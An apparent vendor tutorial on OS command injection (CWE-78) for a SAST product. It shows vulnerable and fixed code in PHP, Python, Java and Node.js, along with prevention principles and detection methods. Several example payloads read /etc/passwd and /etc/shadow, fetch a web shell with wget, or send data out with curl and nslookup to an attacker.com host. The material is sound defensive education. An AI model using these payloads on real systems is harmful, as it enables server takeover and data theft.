Command injection (CWE-78) is one of the most critical vulnerabilities in web applications. When an application passes unsanitized user input to a system shell, an attacker can break out of the intended command and execute arbitrary OS commands on the server — with the same privileges as the application process.
At OWASP, command injection falls under A03:2021 – Injection, the same category as SQL injection. Despite being well-documented, it appears regularly in penetration test findings and is consistently flagged by SAST tools in production codebases.
How Command Injection Works
Web applications often need to invoke system utilities — running a file conversion, calling a network diagnostic tool, executing a script. When developers build OS commands by concatenating user-supplied strings, attackers can inject additional shell commands using metacharacters.
The most common metacharacters used in attacks:
| Character | Effect |
|---|---|
; | Execute second command after first |
&& | Execute second command only if first succeeds |
|| | Execute second command only if first fails |
| (pipe) | Pass output of first command to second |
` (backtick) | Execute subcommand and substitute output |
$() | Subshell execution |
\n | Newline as command separator |
Basic injection example:
The application accepts a hostname for a ping check:
GET /ping?host=192.168.1.1
Internally it runs:
os.system("ping -c 1 " + request.args.get("host"))
An attacker submits:
GET /ping?host=192.168.1.1;cat+/etc/passwd
The resulting shell command:
ping -c 1 192.168.1.1; cat /etc/passwd
The cat /etc/passwd command executes with full application-level privileges.
Real-World Exploitation Scenarios
Scenario 1: Remote Code Execution via File Utility
An image processing application accepts filenames:
// VULNERABLE: filename from user input passed to shell
$filename = $_GET['file'];
system("convert /uploads/" . $filename . " /thumbnails/thumb.jpg");
Attacker input: image.jpg; wget http://attacker.com/shell.php -O /var/www/html/shell.php
The injected command downloads a web shell to the document root, giving the attacker persistent access.
Scenario 2: DNS Lookup Tool
A network diagnostic feature accepts a domain name:
import subprocess
domain = request.form['domain']
# VULNERABLE: unsanitized input in shell command
result = subprocess.run(f"nslookup {domain}", shell=True, capture_output=True, text=True)
Attacker input: example.com && id && whoami && cat /etc/shadow
This executes three additional commands and returns their output to the attacker.
Scenario 3: Blind Command Injection
Sometimes command output is not returned to the HTTP response — but the injection still fires. Attackers use time-based or out-of-band techniques to confirm execution:
# Time-based: injects a sleep command and measures response delay
host=127.0.0.1; sleep 10
# Out-of-band: sends data to attacker-controlled server
host=127.0.0.1; curl http://attacker.com/$(id)
host=127.0.0.1; nslookup $(whoami).attacker.com
Blind command injection is just as dangerous as reflected injection — the attacker can still exfiltrate data, install backdoors, and pivot through the network.
Vulnerable Code Examples Across Languages
PHP
// VULNERABLE — $_GET input directly in shell_exec
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo $output;
// ALSO VULNERABLE — exec, system, passthru all execute shell commands
$file = $_POST['filename'];
exec("unzip /uploads/" . $file);
passthru("convert " . $file . " output.jpg");
Python
import os, subprocess
# VULNERABLE — shell=True with user input
domain = request.args.get('domain')
os.system("dig " + domain)
subprocess.run("nslookup " + domain, shell=True)
# ALSO VULNERABLE — using shell metacharacters via Popen
subprocess.Popen(f"grep {pattern} /var/log/app.log", shell=True)
Java
// VULNERABLE — Runtime.exec with string concatenation
String host = request.getParameter("host");
Process p = Runtime.getRuntime().exec("ping -c 1 " + host);
// ALSO VULNERABLE — ProcessBuilder with shell interpretation
ProcessBuilder pb = new ProcessBuilder("sh", "-c", "ping -c 1 " + host);
pb.start();
Node.js
const { exec } = require('child_process');
// VULNERABLE — user input in shell command
const filename = req.query.file;
exec(`convert uploads/${filename} output.jpg`, (err, stdout) => {
res.send(stdout);
});
Secure Code Examples
The primary fix is to avoid shell invocation entirely. Use language-native libraries or pass commands as argument arrays (not strings) to avoid shell interpretation.
PHP — Use escapeshellarg()
// BETTER — escapeshellarg wraps and escapes the argument
$ip = escapeshellarg($_GET['ip']);
$output = shell_exec("ping -c 4 " . $ip);
// BEST — validate input strictly before any shell call
$ip = $_GET['ip'];
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
die('Invalid IP address');
}
$output = shell_exec("ping -c 4 " . escapeshellarg($ip));
Python — Use List Form (Avoid shell=True)
import subprocess
# SECURE — list form, no shell interpretation
domain = request.args.get('domain')
result = subprocess.run(
['nslookup', domain], # List form — no shell involved
shell=False, # NEVER shell=True with user input
capture_output=True,
text=True,
timeout=5
)
# Even better — validate input first
import re
if not re.match(r'^[a-zA-Z0-9.\-]+$', domain):
return "Invalid domain", 400
result = subprocess.run(['nslookup', domain], shell=False, capture_output=True, text=True)
Java — Use ProcessBuilder with Argument List
// SECURE — ProcessBuilder with explicit argument list
String host = request.getParameter("host");
// Validate input first
if (!host.matches("[a-zA-Z0-9.\\-]+")) {
response.sendError(400, "Invalid host");
return;
}
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", host);
// NOTE: No "sh", "-c" wrapper — the list form doesn't invoke a shell
pb.redirectErrorStream(true);
Process p = pb.start();
Node.js — Use execFile Instead of exec
const { execFile } = require('child_process');
// SECURE — execFile does not invoke a shell, arguments are passed directly
const filename = req.query.file;
// Validate first
if (!/^[a-zA-Z0-9_\-\.]+$/.test(filename)) {
return res.status(400).send('Invalid filename');
}
execFile('convert', [`uploads/${filename}`, 'output.jpg'], (err, stdout) => {
res.send(stdout);
});
Key Prevention Principles
1. Avoid Shell Commands Where Possible
The most reliable fix is to not call the shell at all. Use language-native libraries for common operations:
- File operations → use filesystem APIs (
os.path,java.nio.file,fsmodule) - Image conversion → use native bindings (ImageMagick Java binding, Pillow in Python)
- DNS lookups → use language-native DNS resolvers (
dns.lookup()in Node,socket.getaddrinfo()in Python) - HTTP requests → use HTTP client libraries, not
curlvia shell
2. Use Argument Lists, Not Shell Strings
When you must call an external process, pass arguments as an array, not a string. This bypasses shell interpretation entirely — metacharacters in arguments are treated as literals, not commands.
# These are EQUIVALENT in effect but VERY different in safety:
subprocess.run("ping -c 1 " + user_input, shell=True) # DANGEROUS
subprocess.run(["ping", "-c", "1", user_input], shell=False) # SAFE
3. Validate and Allowlist Input
Before passing any value to an OS command — even with escaping — validate it against a strict allowlist:
- IP addresses → validate with
FILTER_VALIDATE_IP(PHP),ipaddressmodule (Python) - Domains → regex
^[a-zA-Z0-9.\-]+$, max length limit - Filenames → strip directory traversal sequences, validate extension, never allow metacharacters
Never use a blocklist (trying to escape or filter out dangerous characters) — attackers can use encodings, unicode variations, and edge cases to bypass filters. Always prefer an allowlist.
4. Principle of Least Privilege
Even if command injection occurs, limiting the application’s OS privileges reduces impact:
- Run the web application as a dedicated low-privilege user (not
rootorwww-datawith sudo) - Use Linux namespaces and seccomp profiles to restrict what system calls the process can make
- Use containerization (Docker, Kubernetes) with read-only filesystems and dropped capabilities
Detection: How SAST Identifies Command Injection
Static analysis detects command injection by tracking data flow from user-controlled sources to OS command execution sinks:
Sources (user-controlled input):
- HTTP request parameters (
$_GET,request.args,req.query) - HTTP headers, cookies, file uploads
- JSON/XML request bodies
Sinks (OS command execution):
system(),exec(),shell_exec(),passthru()(PHP)os.system(),subprocess.run(shell=True),os.popen()(Python)Runtime.exec(),ProcessBuilderwith shell (Java)child_process.exec(),child_process.spawn()with shell (Node.js)
A SAST tool performing taint analysis traces whether user-controlled data reaches these sinks without proper sanitization. Pattern-only scanners (that just look for calls to exec()) produce many false positives — taint analysis reduces noise by confirming the data actually flows through.
Detection: How DAST Identifies Command Injection
Dynamic scanners probe live endpoints with OS command injection payloads and look for behavioral responses:
Time-based detection (blind injection):
?host=127.0.0.1; sleep 5
If the response takes ~5 seconds longer than baseline, blind injection is confirmed.
Error-based detection:
?host=127.0.0.1; invalid_command_xyz
Error messages revealing /bin/sh or shell output confirm execution.
Out-of-band detection:
?host=127.0.0.1; curl http://collaborator.attacker.com/$(id)
A DNS or HTTP callback to an attacker-controlled server confirms code execution and reveals the running user.
OWASP & CWE References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’) — the parent category
- OWASP A03:2021 — Injection
- OWASP Testing Guide: OTG-INPVAL-013 – Testing for Command Injection
Summary
| Aspect | Detail |
|---|---|
| CWE | CWE-78 (OS Command Injection) |
| OWASP | A03:2021 – Injection |
| Severity | Critical — typically leads to RCE |
| Root cause | Unsanitized user input passed to shell |
| Primary fix | Avoid shell calls; use argument list form |
| Secondary fix | Strict allowlist input validation |
| Detection | Taint analysis (SAST); time-based/OOB payloads (DAST) |
Command injection is consistently rated Critical severity because successful exploitation gives an attacker OS-level code execution on your server. The fix — avoiding shell calls and using argument arrays — is straightforward once you understand the root cause. The challenge is finding every place in a large codebase where this pattern occurs, which is exactly what a SAST tool is designed for.
Offensive360 SAST detects command injection through deep taint analysis across 60+ languages, tracing user input from HTTP request to OS command sink. Scan your codebase for command injection or view the full vulnerability knowledge base.